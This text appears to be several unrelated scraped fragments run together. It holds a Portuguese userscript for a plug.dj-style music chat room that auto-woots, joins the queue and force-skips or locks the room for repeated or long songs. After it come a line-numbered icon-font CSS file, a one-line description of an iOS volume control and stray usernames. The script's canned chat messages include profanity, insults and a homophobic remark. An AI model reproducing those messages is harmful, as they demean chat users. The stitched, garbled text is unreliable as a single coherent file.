wafflesMsg = ["Ppkas para todos! # - (> _ <) - # "," Alguém disse ppkas? # - (> _ <) - #"]; var bhvMsg = ["por favor, não sejam gays no bate-papo "," por favor, não fale assim, controlar a si mesmo! "," por favor, seja maduros fdps"]; var sleepMsg = ["Ta na hora de dormi, Fui virjs! "," Indo dormir agora "," estou tão cansado, durmi é necessário, fui me cama. "," cansaço ... sono ... e ... fui me dormir."]; var workMsg = ["Estou ocupado não sou Vagabundo igual a vocês."]; var afkMsg = ["Eu estou indo embora e um Vão se foderem."," Vou fica AFK por um tempo, volto em breve! "," Indo embora, volto em breve! "," Vou Viaja nas galáxia, estarei de volta em breve !"]; var backMsg = ["Estou de volta minhas putinhas! "," Adivinha quem está de volta? Quem sera? Claro que é eu o seu Pai :D"]; var autoAwayMsg = ["Atualmente estou AFK "," Eu estou AFK "," Eu estou em uma aventura (afk) "," desapareceu por um momento "," não está presente no teclado."]; var autoSlpMsg = ["Atualmente estou dormindo "," Estou comendo ppkas em meus sonhos"]; var autoWrkMsg = ["Atualmente estou ocupado "," estou ocupado "," fazendo um trabalho relacionado a ppkas."]; overPlayed = ["1:vZyenjZseXA", "1:ZT4yoZNy90s", "1:Bparw9Jo3dk", "1:KrVC5dm5fFc","1:Ys9sIqv42lo", "1:1y6smkh6c-0", "1:jZL-RUZUoGY", "1:CrdoD9T1Heg", "1:6R_Rn1iP82I", "1:ea9tluQ_QtE", "1:f9EM8T5K6d8", "1:aHjpOzsQ9YI", "1:3vC5TsSyNjU", "1:yXLL46xkdlY", "1:_t2TzJOyops", "1:BGpzGu9Yp6Y", "1:YJVmu6yttiw", "1:WSeNSzJ2-Jw", "1:2cXDgFwE13g", "1:PR_u9rvFKzE", "1:i1BDGqIfm8U"];overPlayed = ["1:vZyenjZseXA", "1:ZT4yoZNy90s", "1:Bparw9Jo3dk", "1:KrVC5dm5fFc","1:Ys9sIqv42lo", "1:1y6smkh6c-0", "1:jZL-RUZUoGY", "1:CrdoD9T1Heg", "1:6R_Rn1iP82I", "1:ea9tluQ_QtE", "1:f9EM8T5K6d8", "1:aHjpOzsQ9YI", "1:3vC5TsSyNjU", "1:yXLL46xkdlY", "1:_t2TzJOyops", "1:BGpzGu9Yp6Y", "1:YJVmu6yttiw", "1:WSeNSzJ2-Jw", "1:2cXDgFwE13g", "1:PR_u9rvFKzE", "1:i1BDGqIfm8U"]; var styles = [ '.sidebar {position: fixed; top: 0; height: 100%; width: 200px; z-index: 99999; background-image: linear-gradient(bottom, #000000 0%, #3B5678 100%);background-image: -o-linear-gradient(bottom, #000000 0%, #3B5678 100%);background-image: -moz-linear-gradient(bottom, #000000 0%, #3B5678 100%);background-image: -webkit-linear-gradient(bottom, #000000 0%, #3B5678 100%);background-image: -ms-linear-gradient(bottom, #000000 0%, #3B5678 100%);background-image: -webkit-gradient(linear,left bottom,left top,color-stop(0, #000000),color-stop(1, #3B5678));}', '.sidebar#side-right {right: -190px;z-index: 99999;}', '.sidebar#side-left {left: -190px; z-index: 99999; }', '.sidebar-handle {width: 12px;height: 100%;z-index: 99999;margin: 0;padding: 0;background: rgb(96, 141, 197);box-shadow: 0px 0px 15px 0px rgba(0, 0, 0, .9);cursor: "ne-resize";}', '.sidebar-handle span {display: block;position: absolute;width: 10px;top: 50%;text-align: center;letter-spacing: -1px;color: #000;}', '.sidebar-content {position: absolute;width: 185px;height: 100%; padding-left: 15px}', '.sidebar-content2 {position: absolute;width: 185px;height: 100%;}', '.sidebar-content2 h3 {font-weight: bold; padding-left: 5px; padding-bottom: 5px; margin: 0;}', '.sidebar-content2 a {font-weight: bold; font-size: 13px; padding-left: 5px;}', '#side-right .sidebar-handle {float: left;}', '#side-left .sidebar-handle {float: right;}', '#side-right a {display: block;min-width: 100%;cursor: pointer;padding: 4px 5px 8px 5px;border-radius: 4px;font-size: 13px;}', '.sidebar-content2 span {display: block; min-width: 94%;cursor: pointer;border-radius: 4px; padding: 0 5px 0 5px; font-size: 12px;}', '#side-right a span {padding-right: 8px;}', '#side-right a:hover {background-color: rgba(97, 146, 199, 0.65);text-decoration: none;}', '.sidebar-content2 span:hover {background-color: rgba(97, 146, 199, 0.65);text-decoration: none;}', '.sidebar-content2 a:hover {text-decoration: none;}', 'html{background: url("http://i.imgur.com/a75C9wE.jpg") no-repeat scroll center top #000000;}', '#room-wheel {z-index: 2;position: absolute;top: 2px;left: 0;width: 1044px;height: 394px;background: url(http://) no-repeat;display: none;}', '.chat-bouncer {background: url(http://i.imgur.com/9qWWO4L.png) no-repeat 0 5px;padding-left: 17px;width: 292px;}', '.chat-manager{background: url(http://i.imgur.com/hqqhTcp.png) no-repeat 0 5px;padding-left: 17px;width: 292px;}', '.chat-cohost {background: url(https://dl.dropbox.com/u/67634625/chat-bouncer-icon.png) no-repeat 0 5px;padding-left: 17px;width:292px;}', '.chat-host{background: url(https://dl.dropbox.com/u/67634625/chat-bouncer-icon.png) no-repeat 0 5px;padding-left: 17px;width: 292px;}', '#dj-console, #dj-console {background-image: url(http://s8.postimage.org/wpugb8gc5/Comp_2.gif);min-height:33px;min-width:131px;}', '.chat-from-you{color: #0099FF;font-weight: bold;margin-top: 0px; padding-top: 0px;}', '.chat-from-bouncer{color: #800080; font-weight: bold; margin-top: 0px; padding-top: 0px;}', '.chat-from-manager{color: #FFDAB9; font-weight: bold; margin-top: 0px; padding-top: 0px;}', '.chat-from-cohost{color: #FF4500; font-weight: bold; margin-top: 0px; padding-top: 0px;}', '.chat-from-host{color: #32CD32;font-weight: bold;margin-top: 0px; padding-top: 0px;}', '#user-points-title{color: #FFFFFF; position: absolute; left: 36px; font-size: 10px;}', '#user-fans-title{color: #FFFFFF; position: absolute; left: 29px; font-size: 10px;}', '.meta-header span{color: rgba(255, 255, 255, 0.79); position: absolute; left: 15px; font-size: 10px;}', '#button-lobby {background-image: url("http://i.imgur.com/brpRaSY.png");}', '#volume-bar-value{background-image: url("http://i.imgur.com/xmyonON.png") ;}', '#hr-div {;height: 100%;width: 100%;margin: 0;padding-left: 12px;}', '#hr2-div2 {;height: 100%;width: 100%;margin: 0;}', '#hr-style {position: absolute;display: block;height: 20px;width: 100%;bottom: 0%;background-image: url("http://i.imgur.com/gExgamX.png");}', '#hr2-style2 {position: absolute;display: block;height: 20px;width: 94%%;bottom: 0%;background-image: url("http://i.imgur.com/gExgamX.png");}', '#side-left h3 {padding-left: 5px}', ]; var scripts = [ "(function($){$.fn.hoverIntent=function(f,g){var cfg={sensitivity:7,interval:100,timeout:0};cfg=$.extend(cfg,g?{over:f,out:g}:f);var cX,cY,pX,pY;var track=function(ev){cX=ev.pageX;cY=ev.pageY};var compare=function(ev,ob){ob.hoverIntent_t=clearTimeout(ob.hoverIntent_t);if((Math.abs(pX-cX)+Math.abs(pY-cY))<cfg.sensitivity){$(ob).unbind('mousemove',track);ob.hoverIntent_s=1;return cfg.over.apply(ob,[ev])}else{pX=cX;pY=cY;ob.hoverIntent_t=setTimeout(function(){compare(ev,ob)},cfg.interval)}};var delay=function(ev,ob){ob.hoverIntent_t=clearTimeout(ob.hoverIntent_t);ob.hoverIntent_s=0;return cfg.out.apply(ob,[ev])};var handleHover=function(e){var ev=jQuery.extend({},e);var ob=this;if(ob.hoverIntent_t){ob.hoverIntent_t=clearTimeout(ob.hoverIntent_t)}if(e.type=='mouseenter'){pX=ev.pageX;pY=ev.pageY;$(ob).bind('mousemove',track);if(ob.hoverIntent_s!=1){ob.hoverIntent_t=setTimeout(function(){compare(ev,ob)},cfg.interval)}}else{$(ob).unbind('mousemove',track);if(ob.hoverIntent_s==1){ob.hoverIntent_t=setTimeout(function(){delay(ev,ob)},cfg.timeout)}}};return this.bind('mouseenter',handleHover).bind('mouseleave',handleHover)}})(jQuery);", 'if (jQuery.easing.easeOutQuart === undefined) jQuery.easing.easeOutQuart = function (a,b,c,d,e) { return -d*((b=b/e-1)*b*b*b-1)+c; }', '$("#side-right")', ' .hoverIntent(function() {', ' var timeout_r = $(this)', ' .data("timeout_r");', ' if (timeout_r) {', ' clearTimeout(timeout_r);', ' }', ' $(this)', ' .animate({', ' "right": "0px"', ' }, 300, "easeOutQuart");', ' }, function() {', ' $(this)', ' .data("timeout_r", setTimeout($.proxy(function() {', ' $(this)', ' .animate({', ' "right": "-190px"', ' }, 300, "easeOutQuart");', ' }, this), 500));', ' });', '$("#side-left")', ' .hoverIntent(function() {', ' var timeout_r = $(this)', ' .data("timeout_r");', ' if (timeout_r) {', ' clearTimeout(timeout_r);', ' }', ' $(this)', ' .animate({', ' "left": "0px"', ' }, 300, "easeOutQuart");', ' }, function() {', ' $(this)', ' .data("timeout_r", setTimeout($.proxy(function() {', ' $(this)', ' .animate({', ' "left": "-190px"', ' }, 300, "easeOutQuart");', ' }, this), 500));', ' });' ]; function initAPIListeners() { API.addEventListener(API.DJ_ADVANCE, djAdvanced); API.addEventListener(API.CHAT, autoRespond); API.addEventListener(API.DJ_UPDATE, queueUpdate); API.addEventListener(API.VOTE_UPDATE, function (obj) { populateUserlist(); }); API.addEventListener(API.USER_JOIN, function (user) { populateUserlist(); }); API.addEventListener(API.USER_LEAVE, function (user) { populateUserlist(); }); } function displayUI() { var colorWoot = autowoot ? '#3FFF00' : '#ED1C24'; var colorQueue = autoqueue ? '#3FFF00' : '#ED1C24'; var colorStream = stream ? '#3FFF00' : '#ED1C24'; var colorVideo = hideVideo ? '#3FFF00' : '#ED1C24'; $('#side-right .sidebar-content').append( 'auto woot' + 'auto queue' + 'stream' + 'hide video' + 'rules' + 'like our fb' + 'no fans' + 'no skip' + 'waffles' + 'sleeping' + 'working' + 'afk' + 'available' + 'skip' + 'lock' + 'unlock' + 'lockskip' ); } function initUIListeners() { $("#plug-btn-woot").on("click", function() { autowoot = !autowoot; $(this).css("color", autowoot ? "#3FFF00" : "#ED1C24"); if (autowoot) { setTimeout("$('#button-vote-positive').click();", 6001); } jaaulde.utils.cookies.set(COOKIE_WOOT, autowoot); }); $("#plug-btn-queue").on("click", function() { autoqueue = !autoqueue; $(this).css('color', autoqueue ? '#3FFF00' : '#ED1C24'); if (autoqueue && !isInQueue()) { joinQueue(); } jaaulde.utils.cookies.set(COOKIE_QUEUE, autoqueue); }); $("#plug-btn-stream").on("click", function() { stream = !stream; $(this).css("color", stream ? "#3FFF00" : "#ED1C24"); if (stream == true) { API.sendChat("/stream on"); } else { API.sendChat("/stream off"); } jaaulde.utils.cookies.set(COOKIE_STREAM, stream); }); $("#plug-btn-hidevideo").on("click", function() { hideVideo = !hideVideo; $(this).css("color", hideVideo ? "#3FFF00" : "#ED1C24"); $("#yt-frame").animate({"height": (hideVideo ? "0px" : "271px")}, {duration: "fast"}); $("#playback .frame-background").animate({"opacity": (hideVideo ? "0" : "0.91")}, {duration: "medium"}); jaaulde.utils.cookies.set(COOKIE_HIDE_VIDEO, hideVideo); }); $("#plug-btn-face").on("click", function() { if (clicked == false) { clicked = true; clickTimer = setInterval("checkClicked();", 1000); API.sendChat(fbMsg[Math.floor(Math.random() * fbMsg.length)]); } }); $("#plug-btn-rules").on("click", function() { if (clicked == false) { clicked = true; clickTimer = setInterval("checkClicked();", 1000); API.sendChat(rulesMsg); } }); $("#plug-btn-fans").on("click", function() { if (clicked == false) { clicked = true; clickTimer = setInterval("checkClicked();", 1000); API.sendChat(fansMsg[Math.floor(Math.random() * fansMsg.length)]); } }); $("#plug-btn-noskip").on("click", function() { if (clicked == false) { clicked = true; clickTimer = setInterval("checkClicked();", 1000); API.sendChat(skipMsg[Math.floor(Math.random() * skipMsg.length)]); } }); $("#plug-btn-waffles").on("click", function() { if (clicked == false) { clicked = true; clickTimer = setInterval("checkClicked();", 1000); API.sendChat(wafflesMsg[Math.floor(Math.random() * wafflesMsg.length)]); } }); $("#plug-btn-sleeping").on("click", function() { if (clicked == false) { clicked = true; clickTimer = setInterval("checkClicked();", 1000); if (Models.user.data.status != 3) { API.sendChat(sleepMsg[Math.floor(Math.random() * sleepMsg.length)]); Models.user.changeStatus(3); } } }); $("#plug-btn-working").on("click", function() { if (clicked == false) { clicked = true; clickTimer = setInterval("checkClicked();", 1000); if (Models.user.data.status != 2) { API.sendChat(workMsg[Math.floor(Math.random() * workMsg.length)]); Models.user.changeStatus(2); } } }); $("#plug-btn-afk").on("click", function() { if (clicked == false) { clicked = true; clickTimer = setInterval("checkClicked();", 1000); if (Models.user.data.status != 1) { API.sendChat(afkMsg[Math.floor(Math.random() * afkMsg.length)]); Models.user.changeStatus(1); } } }); $("#plug-btn-back").on("click", function() { if (clicked == false) { clicked = true; clickTimer = setInterval("checkClicked();", 1000); if (Models.user.data.status != 0) { API.sendChat(backMsg[Math.floor(Math.random() * backMsg.length)]); Models.user.changeStatus(0); } } }); $("#plug-btn-skip").on("click", function() { if (skipped == false) { skipped = true; skipTimer = setInterval("checkSkipped();", 500); new ModerationForceSkipService; } }); $("#plug-btn-lock").on("click", function() { new RoomPropsService(document.location.href.split('/')[3],true,true,1,5); }); $("#plug-btn-unlock").on("click", function() { new RoomPropsService(document.location.href.split('/')[3],false,true,1,5); }); $("#plug-btn-lockskip").on("click", function() { if (skipped == false) { skipped = true; skipTimer = setInterval("checkSkipped();", 500); new RoomPropsService(document.location.href.split('/')[3],true,true,1,5); new ModerationForceSkipService; new RoomPropsService(document.location.href.split('/')[3],false,true,1,5); } }); } function queueUpdate() { if (autoqueue && !isInQueue()) { joinQueue(); } } function isInQueue() { var self = API.getSelf(); return API.getWaitList().indexOf(self) !== -1 || API.getDJs().indexOf(self) !== -1; } function joinQueue() { if ($('#button-dj-play').css('display') === 'block') { $('#button-dj-play').click(); } else if (API.getWaitList().length < MAX_USERS_WAITLIST) { API.waitListJoin(); } } function autoRespond(data) { var a = data.type == "mention" && Models.room.data.staff[data.fromID] && Models.room.data.staff[data.fromID] >= Models.user.BOUNCER, b = data.message.indexOf('@') >0; if (data.type == "mention" && mentioned == false) { if (API.getUser(data.fromID).status == 0) { mentioned = true; timer = setInterval("checkMentioned();", 1000); if (Models.user.data.status == 1) { API.sendChat("@" + data.from + " automsg: " + autoAwayMsg[Math.floor(Math.random() * autoAwayMsg.length)]); } if (Models.user.data.status ==2) { API.sendChat("@" + data.from + " automsg: " + autoWrkMsg[Math.floor(Math.random() * autoWrkMsg.length)]); } if (Models.user.data.status ==3) { API.sendChat("@" + data.from + " automsg: " + autoSlpMsg[Math.floor(Math.random() * autoSlpMsg.length)]); } } } } function djAdvanced(obj) { if (hideVideo) { $("#yt-frame").css("height", "0px"); $("#playback .frame-background").css("opacity", "0.0"); } if (autowoot) { setTimeout("$('#button-vote-positive').click();", 6001); } setTimeout("overPlayedSongs();", 3000); } function overPlayedSongs(data) { if (overPlayed.indexOf(Models.room.data.media.id) > -1) { API.sendChat("/me auto skip ligado, Musica Repetida. Fuck you baby!"); setTimeout("new RoomPropsService(document.location.href.split('/')[3],true,true,1,5);", 300); setTimeout("new ModerationForceSkipService;", 600); setTimeout("new RoomPropsService(document.location.href.split('/')[3],false,true,1,5);", 900); } if (Models.room.data.media.duration > 481) { API.sendChat("/me auto skip ligado, música com mais de 6 minutos seram puladas."); setTimeout("new RoomPropsService(document.location.href.split('/')[3],true,true,1,5);", 300); setTimeout("new ModerationForceSkipService;", 600); setTimeout("new RoomPropsService(document.location.href.split('/')[3],false,true,1,5);", 900); } } function populateUserlist() { var mehlist = ''; var wootlist = ''; var undecidedlist = ''; var a = API.getUsers(); var totalMEHs = 0; var totalWOOTs = 0; var totalUNDECIDEDs = 0; var str = ''; var users = API.getUsers(); var myid = API.getSelf(); for (i in a) { str = '' + a[i].username + ''; if (typeof (a[i].vote) !== 'undefined' && a[i].vote == -1) { totalMEHs++; mehlist += str; } else if (typeof (a[i].vote) !== 'undefined' && a[i].vote == +1) { totalWOOTs++; wootlist += str; } else { totalUNDECIDEDs++; undecidedlist += str; } } var totalDECIDED = totalWOOTs + totalMEHs; var totalUSERS = totalDECIDED + totalUNDECIDEDs; var totalMEHsPercentage = Math.round((totalMEHs / totalUSERS) * 100); var totalWOOTsPercentage = Math.round((totalWOOTs / totalUSERS) * 100); if (isNaN(totalMEHsPercentage) || isNaN(totalWOOTsPercentage)) { totalMEHsPercentage = totalWOOTsPercentage = 0; } mehlist = ' ' + totalMEHs.toString() + ' (' + totalMEHsPercentage.toString() + '%)' + mehlist; wootlist = ' ' + totalWOOTs.toString() + ' (' + totalWOOTsPercentage.toString() + '%)' + wootlist; undecidedlist = ' ' + totalUNDECIDEDs.toString() + undecidedlist; if ($('#side-left .sidebar-content').children().length > 0) { $('#side-left .sidebar-content2').append(); } $('#side-left .sidebar-content2').html(' users: ' + API.getUsers().length + ' '); var spot = Models.room.getWaitListPosition(); var waitlistDiv = $(' ').addClass('waitlistspot').text('waitlist: ' + (spot !== null ? spot + ' / ' : '') + Models.room.data.waitList.length); $('#side-left .sidebar-content2').append(waitlistDiv); $('#side-left .sidebar-content2').append(' '); $(".meanlist").append( ' meh list:' + mehlist + ' ' + ' woot list:' + wootlist + ' ' ); } function checkMentioned() { if(timePassed >= timeToWait) { clearInterval(timer); mentioned = false; timePassed = 0; } else { timePassed = timePassed + 601; } } function checkClicked() { if (clickPassed >= clickWait) { clearInterval(clickTimer); clicked = false; clickPassed = 0; } else { clickPassed = clickPassed + 601; } } function checkSkipped() { if (skipPassed >= skipWait) { clearInterval(skipTimer); skipped = false; skipPassed = 600; } else { skipPassed = skipPassed + 500; } } $('#plugbot-css').remove(); $('#plugbot-js').remove(); $('#chat-messages').append(' Bem vindo auto-skip editado pelo Rafael Moraes 1.0 '); $('body').prepend('' + "\n" + styles.join("\n") + "\n" + ''); $('body').append(' ' + ' ||| ' + ' ' + ' ' + ' ' + ' ||| ' + ' ' + ' ' + ' '); $('body').append('');
Hk8yh
@font-face { 2 font-family: 'Pe-icon-7-filled'; 3 src:url('../fonts/Pe-icon-7-filled.eot?-uyfy85'); 4 src:url('../fonts/Pe-icon-7-filled.eot?#iefix-uyfy85') format('embedded-opentype'), 5 url('../fonts/Pe-icon-7-filled.woff?-uyfy85') format('woff'), 6 url('../fonts/Pe-icon-7-filled.ttf?-uyfy85') format('truetype'), 7 url('../fonts/Pe-icon-7-filled.svg?-uyfy85#Pe-icon-7-filled') format('svg'); 8 font-weight: normal; 9 font-style: normal; 10 } 11 12 [class^="pe-7f-"], [class*=" pe-7f-"] { 13 display: inline-block; 14 font-family: 'Pe-icon-7-filled'; 15 speak: none; 16 font-style: normal; 17 font-weight: normal; 18 font-variant: normal; 19 text-transform: none; 20 line-height: 1; 21 22 /* Better Font Rendering =========== */ 23 -webkit-font-smoothing: antialiased; 24 -moz-osx-font-smoothing: grayscale; 25 } 26 27 .pe-7f-cloud-upload:before { 28 content: "\e605"; 29 } 30 .pe-7f-angle-up:before { 31 content: "\e601"; 32 } 33 .pe-7f-cloud-download:before { 34 content: "\e606"; 35 } 36 .pe-7f-angle-right:before { 37 content: "\e602"; 38 } 39 .pe-7f-angle-left:before { 40 content: "\e603"; 41 } 42 .pe-7f-angle-down:before { 43 content: "\e604"; 44 } 45 .pe-7f-wallet:before { 46 content: "\e680"; 47 } 48 .pe-7f-volume2:before { 49 content: "\e681"; 50 } 51 .pe-7f-volume1:before { 52 content: "\e682"; 53 } 54 .pe-7f-voicemail:before { 55 content: "\e683"; 56 } 57 .pe-7f-video:before { 58 content: "\e684"; 59 } 60 .pe-7f-user:before { 61 content: "\e685"; 62 } 63 .pe-7f-upload:before { 64 content: "\e686"; 65 } 66 .pe-7f-unlock:before { 67 content: "\e687"; 68 } 69 .pe-7f-umbrella:before { 70 content: "\e688"; 71 } 72 .pe-7f-trash:before { 73 content: "\e689"; 74 } 75 .pe-7f-tools:before { 76 content: "\e68a"; 77 } 78 .pe-7f-timer:before { 79 content: "\e68b"; 80 } 81 .pe-7f-ticket:before { 82 content: "\e68c"; 83 } 84 .pe-7f-target:before { 85 content: "\e68d"; 86 } 87 .pe-7f-sun:before { 88 content: "\e68e"; 89 } 90 .pe-7f-study:before { 91 content: "\e68f"; 92 } 93 .pe-7f-stopwatch:before { 94 content: "\e690"; 95 } 96 .pe-7f-star:before { 97 content: "\e691"; 98 } 99 .pe-7f-speaker:before { 100 content: "\e692"; 101 } 102 .pe-7f-signal:before { 103 content: "\e693"; 104 } 105 .pe-7f-shuffle:before { 106 content: "\e694"; 107 } 108 .pe-7f-shopbag:before { 109 content: "\e695"; 110 } 111 .pe-7f-share:before { 112 content: "\e696"; 113 } 114 .pe-7f-server:before { 115 content: "\e697"; 116 } 117 .pe-7f-search:before { 118 content: "\e698"; 119 } 120 .pe-7f-science:before { 121 content: "\e699"; 122 } 123 .pe-7f-ribbon:before { 124 content: "\e69a"; 125 } 126 .pe-7f-repeat:before { 127 content: "\e69b"; 128 } 129 .pe-7f-refresh:before { 130 content: "\e69c"; 131 } 132 .pe-7f-refresh-cloud:before { 133 content: "\e69d"; 134 } 135 .pe-7f-radio:before { 136 content: "\e69e"; 137 } 138 .pe-7f-print:before { 139 content: "\e69f"; 140 } 141 .pe-7f-prev:before { 142 content: "\e6a0"; 143 } 144 .pe-7f-power:before { 145 content: "\e6a1"; 146 } 147 .pe-7f-portfolio:before { 148 content: "\e6a2"; 149 } 150 .pe-7f-plus:before { 151 content: "\e6a3"; 152 } 153 .pe-7f-play:before { 154 content: "\e6a4"; 155 } 156 .pe-7f-plane:before { 157 content: "\e6a5"; 158 } 159 .pe-7f-photo-gallery:before { 160 content: "\e6a6"; 161 } 162 .pe-7f-phone:before { 163 content: "\e6a7"; 164 } 165 .pe-7f-pen:before { 166 content: "\e6a8"; 167 } 168 .pe-7f-paper-plane:before { 169 content: "\e6a9"; 170 } 171 .pe-7f-bluetooth:before { 172 content: "\e607"; 173 } 174 .pe-7f-paint:before { 175 content: "\e6aa"; 176 } 177 .pe-7f-wristwatch:before { 178 content: "\e608"; 179 } 180 .pe-7f-notebook:before { 181 content: "\e6ab"; 182 } 183 .pe-7f-world:before { 184 content: "\e609"; 185 } 186 .pe-7f-note:before { 187 content: "\e6ac"; 188 } 189 .pe-7f-volume:before { 190 content: "\e60a"; 191 } 192 .pe-7f-next:before { 193 content: "\e6ad"; 194 } 195 .pe-7f-paperclip:before { 196 content: "\e614"; 197 } 198 .pe-7f-news-paper:before { 199 content: "\e6ae"; 200 } 201 .pe-7f-note2:before { 202 content: "\e615"; 203 } 204 .pe-7f-musiclist:before { 205 content: "\e6af"; 206 } 207 .pe-7f-network:before { 208 content: "\e616"; 209 } 210 .pe-7f-music:before { 211 content: "\e6b0"; 212 } 213 .pe-7f-mouse:before { 214 content: "\e6b1"; 215 } 216 .pe-7f-cash:before { 217 content: "\e621"; 218 } 219 .pe-7f-more:before { 220 content: "\e6b2"; 221 } 222 .pe-7f-add-user:before { 223 content: "\e622"; 224 } 225 .pe-7f-moon:before { 226 content: "\e6b3"; 227 } 228 .pe-7f-way:before { 229 content: "\e623"; 230 } 231 .pe-7f-monitor:before { 232 content: "\e6b4"; 233 } 234 .pe-7f-bottom-arrow:before { 235 content: "\e624"; 236 } 237 .pe-7f-micro:before { 238 content: "\e6b5"; 239 } 240 .pe-7f-medal:before { 241 content: "\e618"; 242 } 243 .pe-7f-menu:before { 244 content: "\e6b6"; 245 } 246 .pe-7f-like2:before { 247 content: "\e619"; 248 } 249 .pe-7f-map:before { 250 content: "\e6b7"; 251 } 252 .pe-7f-left-arrow:before { 253 content: "\e61a"; 254 } 255 .pe-7f-map-marker:before { 256 content: "\e6b8"; 257 } 258 .pe-7f-key:before { 259 content: "\e61b"; 260 } 261 .pe-7f-mail:before { 262 content: "\e6b9"; 263 } 264 .pe-7f-joy:before { 265 content: "\e61c"; 266 } 267 .pe-7f-mail-open:before { 268 content: "\e6ba"; 269 } 270 .pe-7f-id:before { 271 content: "\e61d"; 272 } 273 .pe-7f-mail-open-file:before { 274 content: "\e6bb"; 275 } 276 .pe-7f-film:before { 277 content: "\e61e"; 278 } 279 .pe-7f-magnet:before { 280 content: "\e6bc"; 281 } 282 .pe-7f-disk:before { 283 content: "\e61f"; 284 } 285 .pe-7f-loop:before { 286 content: "\e6bd"; 287 } 288 .pe-7f-delete-user:before { 289 content: "\e620"; 290 } 291 .pe-7f-look:before { 292 content: "\e6be"; 293 } 294 .pe-7f-pin:before { 295 content: "\e613"; 296 } 297 .pe-7f-lock:before { 298 content: "\e6bf"; 299 } 300 .pe-7f-users:before { 301 content: "\e60b"; 302 } 303 .pe-7f-lintern:before { 304 content: "\e6c0"; 305 } 306 .pe-7f-user-female:before { 307 content: "\e60c"; 308 } 309 .pe-7f-link:before { 310 content: "\e6c1"; 311 } 312 .pe-7f-up-arrow:before { 313 content: "\e60d"; 314 } 315 .pe-7f-like:before { 316 content: "\e6c2"; 317 } 318 .pe-7f-switch:before { 319 content: "\e60e"; 320 } 321 .pe-7f-light:before { 322 content: "\e6c3"; 323 } 324 .pe-7f-scissors:before { 325 content: "\e60f"; 326 } 327 .pe-7f-less:before { 328 content: "\e6c4"; 329 } 330 .pe-7f-safe:before { 331 content: "\e610"; 332 } 333 .pe-7f-keypad:before { 334 content: "\e6c5"; 335 } 336 .pe-7f-right-arrow:before { 337 content: "\e611"; 338 } 339 .pe-7f-junk:before { 340 content: "\e6c6"; 341 } 342 .pe-7f-plug:before { 343 content: "\e612"; 344 } 345 .pe-7f-info:before { 346 content: "\e6c7"; 347 } 348 .pe-7f-mute:before { 349 content: "\e617"; 350 } 351 .pe-7f-home:before { 352 content: "\e6c8"; 353 } 354 .pe-7f-help2:before { 355 content: "\e6c9"; 356 } 357 .pe-7f-help1:before { 358 content: "\e6ca"; 359 } 360 .pe-7f-graph3:before { 361 content: "\e6cc"; 362 } 363 .pe-7f-graph2:before { 364 content: "\e6cd"; 365 } 366 .pe-7f-graph1:before { 367 content: "\e6ce"; 368 } 369 .pe-7f-graph:before { 370 content: "\e6cf"; 371 } 372 .pe-7f-global:before { 373 content: "\e6d0"; 374 } 375 .pe-7f-gleam:before { 376 content: "\e6d1"; 377 } 378 .pe-7f-glasses:before { 379 content: "\e6d2"; 380 } 381 .pe-7f-gift:before { 382 content: "\e6d3"; 383 } 384 .pe-7f-folder:before { 385 content: "\e6d4"; 386 } 387 .pe-7f-flag:before { 388 content: "\e6d5"; 389 } 390 .pe-7f-filter:before { 391 content: "\e6d6"; 392 } 393 .pe-7f-file:before { 394 content: "\e6d7"; 395 } 396 .pe-7f-expand:before { 397 content: "\e6d8"; 398 } 399 .pe-7f-expand1:before { 400 content: "\e6d9"; 401 } 402 .pe-7f-edit:before { 403 content: "\e6da"; 404 } 405 .pe-7f-drop:before { 406 content: "\e6db"; 407 } 408 .pe-7f-drawer:before { 409 content: "\e6dc"; 410 } 411 .pe-7f-download:before { 412 content: "\e6dd"; 413 } 414 .pe-7f-display2:before { 415 content: "\e6de"; 416 } 417 .pe-7f-display1:before { 418 content: "\e6df"; 419 } 420 .pe-7f-diskette:before { 421 content: "\e6e0"; 422 } 423 .pe-7f-date:before { 424 content: "\e6e1"; 425 } 426 .pe-7f-cup:before { 427 content: "\e6e2"; 428 } 429 .pe-7f-culture:before { 430 content: "\e6e3"; 431 } 432 .pe-7f-crop:before { 433 content: "\e6e4"; 434 } 435 .pe-7f-credit:before { 436 content: "\e6e5"; 437 } 438 .pe-7f-copy-file:before { 439 content: "\e6e6"; 440 } 441 .pe-7f-config:before { 442 content: "\e6e7"; 443 } 444 .pe-7f-compass:before { 445 content: "\e6e8"; 446 } 447 .pe-7f-comment:before { 448 content: "\e6e9"; 449 } 450 .pe-7f-coffee:before { 451 content: "\e6ea"; 452 } 453 .pe-7f-cloud:before { 454 content: "\e6eb"; 455 } 456 .pe-7f-clock:before { 457 content: "\e6ec"; 458 } 459 .pe-7f-check:before { 460 content: "\e6ed"; 461 } 462 .pe-7f-chat:before { 463 content: "\e6ee"; 464 } 465 .pe-7f-cart:before { 466 content: "\e6ef"; 467 } 468 .pe-7f-camera:before { 469 content: "\e6f0"; 470 } 471 .pe-7f-call:before { 472 content: "\e6f1"; 473 } 474 .pe-7f-calculator:before { 475 content: "\e6f2"; 476 } 477 .pe-7f-browser:before { 478 content: "\e6f3"; 479 } 480 .pe-7f-box1:before { 481 content: "\e6f5"; 482 } 483 .pe-7f-box:before { 484 content: "\e6f6"; 485 } 486 .pe-7f-bookmarks:before { 487 content: "\e6f7"; 488 } 489 .pe-7f-bicycle:before { 490 content: "\e6f8"; 491 } 492 .pe-7f-bell:before { 493 content: "\e6f9"; 494 } 495 .pe-7f-battery:before { 496 content: "\e6fa"; 497 } 498 .pe-7f-ball:before { 499 content: "\e6fb"; 500 } 501 .pe-7f-back:before { 502 content: "\e6fc"; 503 } 504 .pe-7f-attention:before { 505 content: "\e6fd"; 506 } 507 .pe-7f-anchor:before { 508 content: "\e6fe"; 509 } 510 .pe-7f-albums:before { 511 content: "\e6ff"; 512 } 513 .pe-7f-alarm:before { 514 content: "\e700"; 515 } 516 .pe-7f-airplay:before { 517 content: "\e701"; 518 } 519 .pe-7f-close:before { 520 content: "\e600"; 521 }
AndrewBoryk
A custom volume control that replaces MPVolumeView, with multiple styles available, and a delegate to implement one's own custom volume view.
Leandropesao
